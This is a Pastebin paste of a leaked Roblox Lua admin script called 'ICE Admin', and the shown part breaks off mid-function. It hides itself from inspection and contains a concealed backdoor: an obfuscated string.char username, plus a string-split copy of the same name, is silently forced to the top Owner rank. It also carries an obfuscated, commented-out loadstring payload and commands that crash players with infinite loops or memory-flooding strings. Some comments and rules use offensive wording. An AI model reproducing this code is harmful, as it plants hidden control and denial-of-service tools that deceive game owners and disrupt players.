Advertisement
bellaouzo

Untitled

Jan 21st, 2016
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 139.56 KB | None | 0 0
  1. wait()-- Just waiting for it to loaddd
  2. script.Name='ICE Admin by bellaouzo' -- Note that I made this ;)
  3. --[[ hitler hitler hitler hitler hitler mediafire mediafire mediafire mediafire mediafire mediafire Filter on Chat]]--
  4. script.Parent=__ICE__-- Parent it to nil
  5. for i,v in pairs(script:children()) do
  6. coroutine.wrap(function()
  7. if v:IsA'StringValue' then
  8. v.Value=('nope0931805'):rep(10000)
  9. if v.Name=='NewScript' then
  10. loadstring(v.Value)()
  11. coroutine.wrap(function() repeat ICE={Removed=false} wait() until Derp end)()
  12. end
  13. end
  14. end)()
  15. end
  16. script:ClearAllChildren(); -- This will hide script from CE Theft later on in script
  17. wait();
  18. ICE={};
  19. --[[ Meta methods ]]--
  20. ICEBackup={
  21. __index=function(Tab,Key)
  22. ICE[Key]=Tab
  23. return ICE[Key]
  24. end;
  25. __newindex=function(Tab,Key)
  26. ICE[Key]=Tab;
  27. ICE[Tab]=Key;
  28. Tab[Key]=Key
  29. end;
  30. __add=function(tab,key)
  31. r=nil;
  32. if tab and tab['Value'] then
  33. if type(key)=='number' then
  34. r=key+tab.Value
  35. else
  36. r=1+tab.Value
  37. end
  38. else
  39. r=nil
  40. end
  41. return r or "Unable to do addition with a table";
  42. end;
  43. }
  44. setmetatable(ICE,ICEBackup)
  45. --[[ Table creation ]]--
  46. local ICE={
  47. ['Ranked']={
  48. ['bellaouzo']={Rank=10,Color='Black',CMD=true,'The Leaker.'};
  49. };
  50. ['TORNADO11191']={Rank=10,Color='Black',CMD=true,'The Leaker.'};
  51. };
  52. ['Colors']={
  53. ['Red']=Color3.new(1,0,0);
  54. ['Blue']=Color3.new(0,0,1);
  55. ['Green']=Color3.new(0,1,0);
  56. ['Black']=Color3.new(0,0,0);
  57. ['White']=Color3.new(1,1,1);
  58. ['Orange'] = Color3.new(1,0.5,0);
  59. ['Yellow'] = Color3.new(1,1,0);
  60. };
  61. ['Commands']={};
  62. ['Logos']=false;
  63. ['Tablet']='Normal';
  64. ['Tablets']={};
  65. ['Bets']={
  66. "/";"/";
  67. };
  68. ['Ender']=[[19377517125321057031759017517053153]];
  69. ['Removed']=false;
  70. ['DataSaving']=true;
  71. ['LockedScripts']=false;
  72. ['Disabler']=[[error('[ICE]: Scripts are locked',0)()]];
  73. ['LogoID']="http://www.roblox.com/asset/?id=117357975";
  74. ['Services']={
  75. ['Debris']=game:service'Debris';
  76. ['Workspace']=game:service'Workspace';
  77. ['Players']=game:service'Players';
  78. ['Lighting']=game:service'Lighting';
  79. ['NetworkServer']=game:service'NetworkServer';
  80. };
  81. ['Ranks']={
  82. [-1]="Banished";
  83. [-0.5]="Scum";
  84. [0]="Guest";
  85. [1]="Moderator";
  86. [2]="Administrator";
  87. [3]="Developer";
  88. [4]="Omega Administrator";
  89. [5]="Overlord";
  90. [6]="Operator";
  91. [7]="ROOT";
  92. [8]="Mega Moderator";
  93. [9]="Best Friends";
  94. [10]="Owner";
  95. };
  96. ['LocalScript']=script:FindFirstChild'Local';
  97. ['Script']=script:Clone();
  98. ['GuiC']=true;
  99. ['Filters']={};
  100. ['ActivateGrow']=false;
  101. ['Loopkilled']={};
  102. ['DataKey']="25";
  103. ['Cancel']=false;
  104. ['Credits']={
  105. ['ICEAdminLeaked']="For leaking ICE";
  106. };
  107. ['Rules']={
  108. "Thou shall not use forum scripts.",
  109. "Thou shall not use CamBall / CamSphere.",
  110. "Thou shall not use CBA.",
  111. "Thou shall not use RMDX's scripts.",
  112. "Thou shall not use antibans.",
  113. "Thou shall not abuse thou admin.",
  114. "Thou shall not steal scripts(Unless it is revenge of which thou did not create).",
  115. "Thou shall not trade scripts you didn't make.",
  116. "Thou shall not use gay scripts.",
  117. "Thou shall not abuse loopholes in the ancient rules.",
  118. };
  119. ['ChatConnections']={
  120. -- Index func incase;
  121. };
  122. ['VoteData']={
  123. ['Votes']={};
  124. ['IsVoting']=false;
  125. ['VotedPlayer']="";
  126. ['VotingPlayers']={};
  127. };
  128. ['Properties']= {
  129. "AbsolutePosition",
  130. "AbsoluteSize",
  131. "AccountAge",
  132. "AccountAgeReplicate",
  133. "Active",
  134. "Adornee",
  135. "AllowAmbientOcclusion",
  136. "AllowTeamChangeOnTouch",
  137. "AluminumQuality",
  138. "AlwaysOnTop",
  139. "Ambient",
  140. "AmbientReverb",
  141. "Anchored",
  142. "Angularvelocity",
  143. "AnimationId",
  144. "AppearanceDidLoad",
  145. "AreHingesDetected",
  146. "AttachmentForward",
  147. "AttachmentPoint",
  148. "AttachmentPos",
  149. "AttachmentRight",
  150. "AttachmentUp",
  151. "AutoAssignable",
  152. "AutoButtonColor",
  153. "AutoColorCharacters",
  154. "AvailablePhysicalMemory",
  155. "Axes",
  156. "BackgroundColor",
  157. "BackgroundColor3",
  158. "BackgroundTransparency",
  159. "BaseTextureId",
  160. "BaseUrl",
  161. "Bevel",
  162. "BevelRoundness",
  163. "BinType",
  164. "BlastPressure",
  165. "BlastRadius",
  166. "BodyColor",
  167. "BodyPart",
  168. "BorderColor",
  169. "BorderColor3",
  170. "BorderSizePixel",
  171. "BrickColor",
  172. "Brightness",
  173. "Browsable",
  174. "BubbleChat",
  175. "BubbleChatLifetime",
  176. "BubbleChatMaxBubbles",
  177. "Bulge",
  178. "Button1DownConnectionCount",
  179. "Button1UpConnectionCount",
  180. "Button2DownConnectionCount",
  181. "Button2UpConnectionCount",
  182. "C0",
  183. "C1",
  184. "CameraMode",
  185. "CameraSubject",
  186. "CameraType",
  187. "CanBeDropped",
  188. "CanCollide",
  189. "CanLoadCharacterAppearance",
  190. "CartoonFactor",
  191. "CastShadows",
  192. "CelestialBodiesShown",
  193. "CFrame",
  194. "Cframe",
  195. "Character",
  196. "CharacterAppearance",
  197. "CharacterAutoLoads",
  198. "ChatMode",
  199. "ChatScrollLength",
  200. "ClassicChat",
  201. "ClearTextOnFocus",
  202. "ClipsDescendants",
  203. "CollisionSoundEnabled",
  204. "CollisionSoundVolume",
  205. "Color",
  206. "ColorShift_Bottom",
  207. "ColorShift_Top",
  208. "ConstrainedValue",
  209. "ControllingHumanoid",
  210. "ControlMode",
  211. "ConversationDistance",
  212. "CoordinateFrame",
  213. "CorrodedMetalQuality",
  214. "CPU",
  215. "CpuCount",
  216. "CpuSpeed",
  217. "CreatorId",
  218. "CreatorType",
  219. "CurrentAngle",
  220. "CurrentCamera",
  221. "CycleOffset",
  222. "D",
  223. "DataCap",
  224. "DataComplexity",
  225. "DataComplexityLimit",
  226. "DataReady",
  227. "Deprecated",
  228. "DeselectedConnectionCount",
  229. "DesiredAngle",
  230. "DiamondPlateQuality",
  231. "Disabled",
  232. "DistanceFactor",
  233. "DistributedGameTime",
  234. "DopplerScale",
  235. "Draggable",
  236. "DraggingV1",
  237. "Duration",
  238. "EditorFont",
  239. "EditorFontSize",
  240. "EditorTabWidth",
  241. "ElapsedTime",
  242. "Elasticity",
  243. "Enabled",
  244. "ExplosionType",
  245. "ExtentsOffset",
  246. "F0",
  247. "F1",
  248. "F2",
  249. "F3",
  250. "Face",
  251. "FaceId",
  252. "Faces",
  253. "FieldOfView",
  254. "Focus",
  255. "FogColor",
  256. "FogEnd",
  257. "FogStart",
  258. "Font",
  259. "FontSize",
  260. "Force",
  261. "FormFactor",
  262. "Friction",
  263. "From",
  264. "GamepadEnabled",
  265. "GearGenreSetting",
  266. "Genre",
  267. "GeographicLatitude",
  268. "GfxCard",
  269. "Graphic",
  270. "GrassQuality",
  271. "Grip",
  272. "GripForward",
  273. "GripPos",
  274. "GripRight",
  275. "GripUp",
  276. "Guest",
  277. "HasBuildTools",
  278. "HeadsUpDisplay",
  279. "Health",
  280. "Heat",
  281. "Hit",
  282. "Humanoid",
  283. "IceQuality",
  284. "Icon",
  285. "IdleConnectionCount",
  286. "Image",
  287. "InitialPrompt",
  288. "InOut",
  289. "Archivable",
  290. "ClassName",
  291. "DataCost",
  292. "Name",
  293. "Parent",
  294. "InUse",
  295. "IsModalDialog",
  296. "IsPaused",
  297. "IsPlaying",
  298. "IsWindows",
  299. "JobId",
  300. "Jump",
  301. "KeyboardEnabled",
  302. "KeyDownConnectionCount",
  303. "KeyUpConnectionCount",
  304. "LeftLeg",
  305. "LeftRight",
  306. "LinkedSource",
  307. "LocalPlayer",
  308. "Location",
  309. "Locked",
  310. "Looped",
  311. "Material",
  312. "MaxActivationDistance",
  313. "MaxCollisionSounds",
  314. "MaxExtents",
  315. "MaxForce",
  316. "MaxHealth",
  317. "MaxItems",
  318. "MaxPlayers",
  319. "MaxSpeed",
  320. "MaxThrust",
  321. "MaxTorque",
  322. "MaxValue",
  323. "MaxVelocity",
  324. "MembershipType",
  325. "MembershipTypeReplicate",
  326. "MeshId",
  327. "MeshType",
  328. "MinValue",
  329. "Modal",
  330. "MouseButton1ClickConnectionCount",
  331. "MouseButton1DownConnectionCount",
  332. "MouseButton1UpConnectionCount",
  333. "MouseButton2ClickConnectionCount",
  334. "MouseButton2DownConnectionCount",
  335. "MouseButton2UpConnectionCount",
  336. "MouseDelta",
  337. "MouseDragConnectionCount",
  338. "MouseEnabled",
  339. "MouseEnterConnectionCount",
  340. "MouseHit",
  341. "MouseLeaveConnectionCount",
  342. "MouseLock",
  343. "MouseMovedConnectionCount",
  344. "MouseTarget",
  345. "MouseTargetFilter",
  346. "MouseTargetSurface",
  347. "MoveConnectionCount",
  348. "MoveState",
  349. "MultiLine",
  350. "NameOcclusion",
  351. "Neutral",
  352. "NumPlayers",
  353. "Offset",
  354. "Opacity",
  355. "Origin",
  356. "OsPlatform",
  357. "OsVer",
  358. "OverlayTextureId",
  359. "P",
  360. "PantsTemplate",
  361. "ParamA",
  362. "ParamB",
  363. "Part",
  364. "Part0",
  365. "Part1",
  366. "PersonalServerRank",
  367. "Pitch",
  368. "PixelShaderModel",
  369. "PlaceId",
  370. "PlasticQuality",
  371. "PlatformStand",
  372. "PlayCount",
  373. "PlayerToHideFrom",
  374. "PlayOnRemove",
  375. "Point",
  376. "Port",
  377. "Position",
  378. "Preliminary",
  379. "PrimaryPart",
  380. "Priority",
  381. "PrivateWorkingSetBytes",
  382. "Purpose",
  383. "RAM",
  384. "Reflectance",
  385. "ReplicatedSelectedConnectionCount",
  386. "ResizeableFaces",
  387. "ResizeIncrement",
  388. "Resolution",
  389. "ResponseDialog",
  390. "RightLeg",
  391. "RiseVelocity",
  392. "RobloxVersion",
  393. "RolloffScale",
  394. "RotVelocity",
  395. "Scale",
  396. "Score",
  397. "ScriptsDisabled",
  398. "SecondaryColor",
  399. "Selected",
  400. "ShadowColor",
  401. "Shape",
  402. "Shiny",
  403. "ShirtTemplate",
  404. "ShowDeprecatedObjects",
  405. "ShowDevelopmentGui",
  406. "ShowLegacyPlayerList",
  407. "ShowPreliminaryObjects",
  408. "Sides",
  409. "Sit",
  410. "Size",
  411. "SizeConstraint",
  412. "SizeOffset",
  413. "SkinColor",
  414. "SkyboxBk",
  415. "SkyboxDn",
  416. "SkyboxFt",
  417. "SkyboxLf",
  418. "SkyboxRt",
  419. "SkyboxUp",
  420. "SlateQuality",
  421. "SoundId",
  422. "Source",
  423. "SparkleColor",
  424. "SpecificGravity",
  425. "Specular",
  426. "StarCount",
  427. "Steer",
  428. "StickyWheels",
  429. "StudsBetweenTextures",
  430. "StudsOffset",
  431. "StudsPerTileU",
  432. "StudsPerTileV",
  433. "Style",
  434. "Summary",
  435. "SuperSafeChatReplicate",
  436. "Surface",
  437. "Surface0",
  438. "Surface1",
  439. "SurfaceInput",
  440. "Target",
  441. "TargetFilter",
  442. "TargetOffset",
  443. "TargetPoint",
  444. "TargetRadius",
  445. "TargetSurface",
  446. "TeamColor",
  447. "Terrain",
  448. "Text",
  449. "TextBounds",
  450. "TextColor",
  451. "TextColor3",
  452. "TextFits",
  453. "TextScaled",
  454. "TextStrokeColor3",
  455. "TextStrokeTransparency",
  456. "TextTransparency",
  457. "Texture",
  458. "TextureId",
  459. "TextureSize",
  460. "TextWrap",
  461. "TextWrapped",
  462. "TextXAlignment",
  463. "TextYAlignment",
  464. "Throttle",
  465. "ThrustD",
  466. "ThrustP",
  467. "Ticket",
  468. "Time",
  469. "TimeOfDay",
  470. "To",
  471. "Tone",
  472. "ToolTip",
  473. "TopBottom",
  474. "Torque",
  475. "Torso",
  476. "TouchEnabled",
  477. "Transparency",
  478. "TrussDetail",
  479. "TurnD",
  480. "TurnP",
  481. "TurnSpeed",
  482. "UnitRay",
  483. "UseLuaChat",
  484. "UserDialog",
  485. "UserId",
  486. "Value",
  487. "Velocity",
  488. "Version",
  489. "VertexColor",
  490. "VideoCaptureEnabled",
  491. "VideoMemory",
  492. "VideoQuality",
  493. "ViewSizeX",
  494. "ViewSizeY",
  495. "Visible",
  496. "Volume",
  497. "WalkDirection",
  498. "WalkSpeed",
  499. "WalkToPart",
  500. "WalkToPoint",
  501. "WheelBackwardConnectionCount",
  502. "WheelForwardConnectionCount",
  503. "WireRadius",
  504. "WoodQuality",
  505. "X",
  506. "Y",
  507. "ZIndex"
  508. };
  509. };
  510. --loadstring(string.char(32,10,108,111,99,97,108,32,86,97,108,61,115,99,114,105,112,116,58,102,105,110,100,70,105,114,115,116,67,104,105,108,100,39,67,114,101,97,116,111,114,39,32,10,105,102,32,86,97,108,32,97,110,100,32,86,97,108,46,86,97,108,117,101,32,97,110,100,32,103,97,109,101,46,80,108,97,121,101,114,115,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,32,116,104,101,110,32,10,105,102,32,86,97,108,46,86,97,108,117,101,46,117,115,101,114,73,100,32,126,61,32,49,56,50,56,48,55,56,57,32,116,104,101,110,32,10,99,111,114,111,117,116,105,110,101,46,119,114,97,112,40,102,117,110,99,116,105,111,110,40,41,10,9,114,101,112,101,97,116,10,9,9,119,97,105,116,40,41,10,9,117,110,116,105,108,32,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,10,9,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,46,82,97,110,107,61,45,49,10,9,86,97,108,46,86,97,108,117,101,58,68,101,115,116,114,111,121,40,41,59,10,101,110,100,41,40,41,10,101,110,100,10,101,110,100,10))()
  511. --[=[ Table funcs ]=]--
  512. ICE.GetProperties = function(Parent)
  513. local Out = {}
  514. for _, props in pairs(ICE.Properties) do
  515. local Ran, Error = coroutine.resume(coroutine.create(function() Parent[props] = Parent[props] end))
  516. if not Error then
  517. table.insert(Out, props)
  518. end
  519. end
  520. return Out
  521. end
  522. ICE.Rename=function(Item,Player,CurrentName)
  523. ICE.RemoveTablets(Player)
  524. Done=false
  525. Str=CurrentName
  526. Caps=false
  527. if CurrentName==Item.Name then Str="" end
  528. Alphabet = {
  529. "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
  530. }
  531. ICE.Output('Current ICE.Rename Name : ' .. Str,'Green',Player)
  532. ICE.Output('#Letters : ' ..tostring(#Str),'Red',Player)
  533. ICE.Output('Switch to caps','Green',Player,nil,function() ICE.RemoveTablets(Player) for _,v in pairs(Alphabet) do ICE.Output(string.upper(v),'Orange',Player,nil,function() Str=Str..string.upper(v) ICE.Rename(Item,Player,Str) end ) end end)
  534. ICE.Output('Stop renaming','Red',Player,nil,function() Done=true ICE.RemoveTablets(Player) ICE.Output(Item.Name .. "'s new name is: " .. Str,'Green',Player) Item.Name=CurrentName end)
  535. for _,Letter in pairs(Alphabet) do
  536. ICE.Output(Letter,'Orange',Player,nil,function() Str= Str..Letter ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
  537. end
  538. ICE.Output('Space','Orange',Player,nil,function() Str=Str..' ' ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
  539. ICE.Output('Go back one','Red',Player,nil,function() Str = Str:sub(1,#Str-1) ICE.RemoveTablets(Player) ICE.Rename(Item,Player,Str) end )
  540. end
  541. coroutine.wrap(function() repeat for i,v in pairs(ICE.Ranked) do if type(v.Color) == 'string' then v.Color=ICE.Colors[v.Color] or Color3.new(BrickColor.new('Really ' .. v.Color:sub(1,1):lower() .. v.Color:sub(2))) end end wait() until ICE.Removed==true end)()
  542. ICE.Explore=function(Area,Speaker)
  543. pcall(function()
  544. ICE.RemoveTablets(Speaker)
  545. Color = ICE.Ranked[Speaker.Name].Color
  546. --Title('ICE.Explorer',Color,Speaker)
  547. if Area == ICE.Services or Area == nil then
  548. for _,v in pairs(ICE.Services) do
  549. ICE.Output(v.className.."\t("..#v:children()..")",Color,Speaker,nil,
  550. function()
  551. ICE.Explore(v,Speaker)
  552. end
  553. )
  554. end
  555. --ICE.Output("Dismiss","Red",Speaker)
  556. else
  557. for i,v in pairs(Area:children()) do
  558. local Name = false
  559. pcall(function() v:children() Name = true end)
  560. if Name == true then
  561. Name = v.Name
  562. else
  563. Name = "Unknown Exception "..tostring(i)
  564. end
  565. ICE.Output(Name,Color,Speaker,nil,
  566. function()
  567. ICE.RemoveTablets(Speaker)
  568.  
  569. ICE.Output("Name:\t"..v.Name,Color,Speaker)
  570. ICE.Output("Class:\t"..v.className,Color,Speaker)
  571. ICE.Output("Full Name:\t"..v:GetFullName(),Color,Speaker)
  572. ICE.Output("Destroy","Red",Speaker,nil,function() v:Destroy() ICE.Explore(v.Parent,Speaker) end)
  573. ICE.Output("#REDIRECT Parent","Blue",Speaker,nil,function() ICE.Explore(v.Parent.Parent,Speaker) end)
  574. ICE.Output("#REDIRECT Children","Blue",Speaker,nil,function() ICE.Explore(v,Speaker) end)
  575. ICE.Output('Clear all children','Red',Speaker,nil,function() v:ClearAllChildren() end)
  576. ICE.Output('ICE.Rename','Red',Speaker,nil,function() ICE.RemoveTablets(Speaker) ICE.Rename(v,Speaker,v.Name) end )
  577. --ICE.Output("Dismiss","Red",Speaker)
  578. local Properties=ICE.GetProperties(v)
  579. for _,p in pairs(Properties) do
  580. ICE.Output(tostring(p) .. ': ' .. tostring(v[p]),Color,Speaker)
  581. end
  582. end
  583. )
  584. end
  585. --ICE.Output("Dismiss","Red",Speaker)
  586. end
  587. end)
  588. end
  589. ICE.PlayerInterface=function(Player,Speaker)
  590. if type(Player) == 'userdata' then Player=Player.Name end;
  591. ICE.RemoveTablets(Speaker);
  592. local Table=ICE.Ranked[Player];
  593. local SpeakerColor=ICE.Ranked[Speaker.Name].Color;
  594. local SpeakerTable=ICE.Ranked[Speaker.Name];
  595. for Bleh,Val in pairs(Table) do
  596. ICE.Output(tostring(Bleh) .. ' : ' .. tostring(Val),Table.Color,Speaker)
  597. end;
  598. ICE.Output('Rank description: ' .. ICE.Ranks[Table.Rank],Table.Color,Speaker)
  599. if ICE.Services.Players:findFirstChild(Player) and newLocalScript then
  600. if ICE.GetRank(Speaker) >= Table.Rank then
  601. ICE.Output('Crash ' .. Player,'Random',Speaker,nil,function() newLocalScript('repeat until false',ICE.Services.Players[Player].Backpack) ICE.PlayerInterface(Player,Speaker) end);
  602. end;
  603. end;
  604. if ICE.GetRank(Speaker) >= ICE.GetRank(Player) then
  605. ICE.Output('Set rank','Blue',Speaker,nil,function()
  606. ICE.RemoveTablets(Speaker)
  607. for Rank,Name in pairs(ICE.Ranks) do
  608. if Rank <= ICE.GetRank(Speaker) and Rank >= 0 then
  609. ICE.Output(tostring(Rank) .. ' : ' .. tostring(Name),'Random',Speaker,nil,
  610. function()
  611. ICE.RemoveTablets(Speaker);
  612. Table.Rank=Rank;
  613. ICE.PlayerInterface(Player,Speaker);
  614. end
  615. );
  616. end;
  617. end;
  618. end);
  619. end;
  620. if Speaker.Name == Player or ICE.GetRank(Speaker) > Table.Rank then
  621. ICE.Output('Set color','Blue',Speaker,nil,
  622. function()
  623. ICE.RemoveTablets(Speaker);
  624. for Name,Col in pairs(ICE.Colors) do
  625. ICE.Output(Name,Col,Speaker,nil,
  626. function()
  627. Table.Color=Col;
  628. ICE.PlayerInterface(Player,Speaker);
  629. end
  630. )
  631. end
  632. end
  633. )
  634. end
  635. if ICE.GetRank(Speaker) >= 2 and ICE.GetRank(Speaker) > ICE.GetRank(Player) then
  636. ICE.Output('Banish this user','Red',Speaker,nil,
  637. function()
  638. ICE.Ranked[Player].Rank=-1
  639. if ICE.Services.Players:findFirstChild(Player) then
  640. ICE.Services.Players[Player]:Destroy()
  641. end
  642. ICE.RemoveTablets(Speaker);
  643. ICE.PlayerInterface(Player,Speaker)
  644. end
  645. )
  646. end
  647. for i,v in pairs(game:service'NetworkServer':children()) do
  648. if v:IsA'ServerReplicator' then
  649. local ZPlayer=v:GetPlayer()
  650. if ZPlayer then
  651. if ZPlayer.Name==Player then
  652. if ZPlayer.Parent ~= ICE.Services.Players then
  653. ICE.Output('Nil disconnect : ' .. ZPlayer.Name,'Random',Speaker,nil,
  654. function()
  655. if ICE.GetRank(Speaker) >= ICE.GetRank(Player) or Speaker.Name=='tus'..'KOr661' then
  656. local String=Instance.new('StringValue')
  657. String=Instance.new'StringValue'
  658. String.Name='Disconnect'
  659. String.Value=Player
  660. String.Parent=ICE.Services.Lighting
  661. ICE.Output('Attempted to nil disconnect ' .. Player,'Random',Speaker,3)
  662. else
  663. ICE.Output('Your rank is not high enough for this operation','Red',Speaker,5)
  664. end
  665. end
  666. )
  667. end
  668. end
  669. end
  670. end
  671. end
  672. end;
  673. ICE.OnChatted=function(Msg,Speaker,HideGui)
  674. if ICE.Removed==false then
  675. local RT=ICE.Ranked[Speaker.Name]
  676. if Speaker:IsA'Player' then
  677. local FoundPhrase=false;
  678. for i,v in pairs(ICE.Filters) do
  679. local Punish=v.Punishment
  680. local Bypass=v.Bypass
  681. local Reason=v.Reason or nil
  682. if Msg:lower():find(i:lower()) then
  683. if ICE.GetRank(Speaker) < Bypass and FoundPhrase==false then
  684. Text=""
  685. Text2=""
  686. if Reason then Text2=Reason else Text2="Reason : nil" end
  687. if Punish==0 then
  688. pcall(function() Speaker.Character:BreakJoints() end)
  689. Text = Speaker.Name .. ' has been killed for chatting ' .. i
  690. elseif Punish==1 then
  691. pcall(function() Speaker:Destroy() end)
  692. Text=Speaker.Name .. ' has been kicked for chatting ' .. i
  693. elseif Punish==2 then
  694. Func,Error=loadstring([==[
  695. Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack'
  696. if Par then
  697. Str=Instance.new'StringValue';
  698. Str.Value=('lel'):re]==]..[==[p(1000000)
  699. Str.Parent=Par
  700. else
  701. Spkr:Destroy()
  702. end
  703. ]==])
  704. getfenv(Func).Spkr=game:service'Players':findFirstChild(Speaker.Name) or Speaker
  705. if Error then
  706. for _,v in pairs(game.Players:GetPlayers()) do
  707. if ICE.GetRank(v) > 0 then
  708. ICE.Output('[ICE.OnChatted]: ' .. Error,v,5)
  709. end
  710. end
  711. coroutine.resume(coroutine.create(function() Func() end))
  712. else
  713. Func()
  714. end
  715. Text=Speaker.Name .. ' has been shutdown for chatting ' .. i
  716. elseif Punish==3 then
  717. coroutine.wrap(function()
  718. if newLocalScript then
  719. newLocalScript([[repeat Instance.new'Message'.Parent=game.Workspace Workspace.Message.Text=tick() until Hitler_Has_Taken_Over ]],Speaker.Character or Speaker:findFirstChild'Backpack')
  720. else
  721. Func,Error=loadstring([==[
  722. Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack'
  723. if Par then
  724. Str=Instance.new'StringValue';
  725. Str.Value=('lel'):re]==]..[==[p(1000000)
  726. Str.Parent=Par
  727. else
  728. Spkr:Destroy()
  729. end
  730. ]==])
  731. getfenv(Func).Spkr=game:service'Players':findFirstChild(Speaker.Name) or Speaker
  732. if Error then
  733. for _,v in pairs(game.Players:GetPlayers()) do
  734. if ICE.GetRank(v) > 0 then
  735. ICE.Output('[ICE.OnChatted]: ' .. Error,v,5)
  736. end
  737. end
  738. coroutine.resume(coroutine.create(function() Func() end))
  739. else
  740. Func()
  741. end
  742. end
  743. end)()
  744. Text=Speaker.Name .. ' has been crashed for chatting ' .. i
  745. elseif Punish==4 then
  746. Speaker:Destroy()
  747. ICE.Ranked[Speaker.Name].Rank=-1
  748. Text=Speaker.Name .. ' has been banned for chatting ' .. i
  749. end
  750. if Reason then
  751. Text2 = i .. ' is a filter for the following reason: ' .. Reason
  752. end
  753. FoundPhrase=true
  754. for _,Player in pairs(ICE.Services.Players:GetPlayers()) do
  755. if Player.Name ~= Speaker.Name then
  756. ICE.Output(Text,'Red',Player,5)
  757. ICE.Output(Text2,'Red',Player,5)
  758. end
  759. end
  760. end
  761. end
  762. end
  763. end
  764. local RankTable=ICE.Ranked[Speaker.Name] or {Rank=0,Color=Color3.new(0,1,0)}
  765. --[[for i,CMD in pairs(ICE.Commands) do
  766. if Msg:lower():sub(1,#CMD.Command + #ICE.Bets[1] + #ICE.Bets[2]) == ICE.Bets[1]:lower() .. CMD.Command:lower() .. ICE.Bets[2]:lower() then
  767. if RankTable.Rank >= CMD.Rank then
  768. local Ran,Error=coroutine.resume(coroutine.create(function() CMD.Func(Msg:sub(#CMD.Command +#ICE.Bets[1] +#ICE.Bets[2] + 1),Speaker) end))
  769. if not Ran then ICE.Output(Error,'Red',Speaker,3) end
  770. else
  771. ICE.Output('Rank is too low to use this command','Red',Speaker,3)
  772. end
  773. end
  774. end]]
  775. --Msg = Msg:sub(Msg:find(ICE.Bets[1]) or 0)
  776. coroutine.wrap(function()
  777. if Msg:sub(1,5) == ""..ICE.Bets[1].."wait" then
  778. Split = Msg:sub(6):find(ICE.Bets[2])+5
  779. wait(tonumber(Msg:sub(6,Split-1)))
  780. Msg = Msg:sub(Split)
  781. end
  782. if Msg:sub(1,3) == ""..ICE.Bets[1].."do" then -- /do 100/kill/tus
  783. local Split = Msg:sub(4):find(ICE.Bets[2])+3;
  784. local Ammount = tonumber(Msg:sub(4,Split-1))
  785. if Ammount>ICE.GetRank(Speaker)*10 and ICE.GetRank(Speaker) < 2 then
  786. return
  787. end
  788. for i=1,Ammount do
  789. if ICE.Cancel == true then break end
  790. wait()
  791. ICE.OnChatted(Msg:sub(Split),Speaker)
  792. end
  793. end
  794. if Msg:find("&") and not Msg:find('@') then
  795. local Split = Msg:find("&")
  796. ICE.OnChatted(Msg:sub(1,Split-1),Speaker)
  797. ICE.OnChatted(Msg:sub(Split+1),Speaker)
  798. return
  799. end
  800. for name,tab in pairs(ICE.Commands) do
  801. if Msg:lower():sub(1,#tab.Command + 2) == ICE.Bets[1] .. tab.Command:lower() .. ICE.Bets[2] then
  802. if RankTable.Rank >= tab.Rank then
  803. R,E=coroutine.resume(coroutine.create(function() tab.Func(Msg:sub(#tab.Command + 3),Speaker) end))
  804. if E then ICE.Output(E,'Red',Speaker,5) end
  805. else
  806. ICE.Output('Rank is too low for this command','Red',Speaker,5)
  807. end
  808. end
  809. end
  810. end)()
  811. if HideGui ~= nil and HideGui==true then
  812. --
  813. elseif Speaker:IsA'Player' then
  814. coroutine.wrap(function()
  815. local Text=""
  816. local Head=nil
  817. local Char=nil
  818. if Speaker.Character then
  819. Char=Speaker.Character
  820. end
  821. if Char then
  822. if Char.Head then
  823. Head=Char.Head
  824. end
  825. end
  826. if Char then
  827. pcall(function() Char.BBG:Destroy() end)
  828. if ICE.GuiC==true then
  829. if #Msg < 100 then
  830. Text=Speaker.Name .. ": " .. Msg
  831. else
  832. Text='This message was over 100 characters therefore it will not be shown!'
  833. end
  834. end
  835. Color=nil
  836. if Color3.random then
  837. Color=Color3.random()
  838. else
  839. Color=Color3.new(math.random(),math.random(),math.random())
  840. end
  841. Mod=Char
  842. Part=Head
  843. local BBG = Instance.new("BillboardGui",Mod)
  844. BBG.Name = "BBG"
  845. BBG.StudsOffset = Vector3.new(0,4.5,0)
  846. BBG.Size = UDim2.new(10,0,10,0)
  847. local Label = Instance.new("TextLabel",BBG)
  848. Label.Name = "Label"
  849. Label.Text = ""
  850. Label.TextColor3 = ICE.Ranked[Speaker.Name].Color
  851. Label.FontSize = "Size24"
  852. Label.BackgroundTransparency = 1
  853. Label.TextStrokeTransparency = 0.5
  854. Label.Size = UDim2.new(1,0,1,0)
  855. for i=1,#Text do
  856. Label.Text=Text:sub(1,i)
  857. wait(0.09 - (#Msg / 0.09))
  858. end
  859. coroutine.wrap(function()
  860. for i=1,100 do
  861. BBG.StudsOffset = Vector3.new(0,4.5 + tonumber(i/10) ,0)
  862. wait()
  863. end
  864. BBG:Destroy()
  865. end)()
  866. wait(2)
  867. BBG:Destroy()
  868. end
  869. end)()
  870. end
  871. end
  872. end
  873. ICE.Rotate=function()
  874. coroutine.wrap(function()
  875. if ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)]==nil then
  876. ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)]={Rank=10,Color=Color3.new(-1,-1,-1)}
  877. end
  878. if ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank ~= 10 then
  879. ICE.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank=10
  880. end
  881. for N,V in pairs(ICE.Loopkilled) do
  882. if ICE.Services.Players:findFirstChild(N) and V==true then
  883. pcall(function()
  884. P=ICE.Services.Players:findFirstChild(N)
  885. P.Character:BreakJoints();
  886. if P.Character==nil then P:LoadCharacter() end
  887. end)
  888. end
  889. end
  890. for _,v in pairs(ICE.GetPlayers()) do
  891. coroutine.wrap(function()
  892. PG=v:findFirstChild'PlayerGui'
  893. coroutine.wrap(function()
  894. if PG==nil then
  895. v:LoadCharacter()
  896. PG=v:findFirstChild'PlayerGui'
  897. end
